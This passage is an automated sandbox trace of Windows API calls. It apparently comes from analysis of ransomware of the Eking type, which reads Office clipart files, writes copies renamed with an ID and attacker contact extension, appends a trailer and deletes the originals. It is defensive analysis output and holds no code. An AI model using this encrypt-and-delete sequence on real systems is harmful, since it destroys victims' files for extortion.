lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.393] CloseHandle (hObject=0x380) returned 1 [0270.393] CloseHandle (hObject=0x3b4) returned 1 [0270.393] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0 [0270.394] SetEvent (hEvent=0x2b8) returned 1 [0270.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.395] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2080) returned 1 [0270.395] CloseHandle (hObject=0x3b4) returned 1 [0270.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0270.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0270.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.396] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.396] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.398] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x820, lpOverlapped=0x0) returned 1 [0270.400] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x830, lpOverlapped=0x0) returned 1 [0270.402] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.402] CloseHandle (hObject=0x3b4) returned 1 [0270.402] CloseHandle (hObject=0x380) returned 1 [0270.402] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0 [0270.403] SetEvent (hEvent=0x2b8) returned 1 [0270.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.405] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2004) returned 1 [0270.405] CloseHandle (hObject=0x380) returned 1 [0270.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0270.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x220 [0270.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.406] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.406] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0270.408] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7d4, lpOverlapped=0x0) returned 1 [0270.410] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7e0, lpOverlapped=0x0) returned 1 [0270.412] WriteFile (in: hFile=0x3b4, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.412] CloseHandle (hObject=0x380) returned 1 [0270.412] CloseHandle (hObject=0x3b4) returned 1 [0270.412] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 0 [0270.413] SetEvent (hEvent=0x2b8) returned 1 [0270.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.414] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2020) returned 1 [0270.414] CloseHandle (hObject=0x3b4) returned 1 [0270.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0270.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220 [0270.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0270.415] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.415] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.416] ReadFile (in: hFile=0x3b4, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7e4, lpOverlapped=0x0) returned 1 [0270.419] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7f0, lpOverlapped=0x0) returned 1 [0270.421] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.421] CloseHandle (hObject=0x3b4) returned 1 [0270.421] CloseHandle (hObject=0x380) returned 1 [0270.421] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0 [0270.421] SetEvent (hEvent=0x2b8) returned 1 [0270.422] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.865] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2404) returned 1 [0270.866] CloseHandle (hObject=0x380) returned 1 [0270.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0270.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0270.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.866] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.867] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0270.867] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x964, lpOverlapped=0x0) returned 1 [0270.872] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x970, lpOverlapped=0x0) returned 1 [0270.873] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.874] CloseHandle (hObject=0x380) returned 1 [0270.874] CloseHandle (hObject=0x398) returned 1 [0270.874] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0 [0270.874] SetEvent (hEvent=0x2b8) returned 1 [0270.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.878] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1804) returned 1 [0270.878] CloseHandle (hObject=0x398) returned 1 [0270.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0270.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0270.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.878] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.878] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.880] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x70c, lpOverlapped=0x0) returned 1 [0270.881] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x710, lpOverlapped=0x0) returned 1 [0270.883] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.883] CloseHandle (hObject=0x398) returned 1 [0270.883] CloseHandle (hObject=0x380) returned 1 [0270.883] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0 [0270.883] SetEvent (hEvent=0x2b8) returned 1 [0270.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.884] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1888) returned 1 [0270.884] CloseHandle (hObject=0x380) returned 1 [0270.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0270.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0270.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.885] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0270.886] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x760, lpOverlapped=0x0) returned 1 [0270.888] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x770, lpOverlapped=0x0) returned 1 [0270.889] WriteFile (in: hFile=0x398, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.889] CloseHandle (hObject=0x380) returned 1 [0270.890] CloseHandle (hObject=0x398) returned 1 [0270.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0 [0270.890] SetEvent (hEvent=0x2b8) returned 1 [0270.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.891] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3796) returned 1 [0270.891] CloseHandle (hObject=0x398) returned 1 [0270.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0270.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0270.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.892] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.892] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0270.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.895] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xed4, lpOverlapped=0x0) returned 1 [0270.897] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xee0, lpOverlapped=0x0) returned 1 [0270.898] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0270.898] CloseHandle (hObject=0x398) returned 1 [0270.898] CloseHandle (hObject=0x380) returned 1 [0270.898] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0 [0270.898] SetEvent (hEvent=0x2b8) returned 1 [0270.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 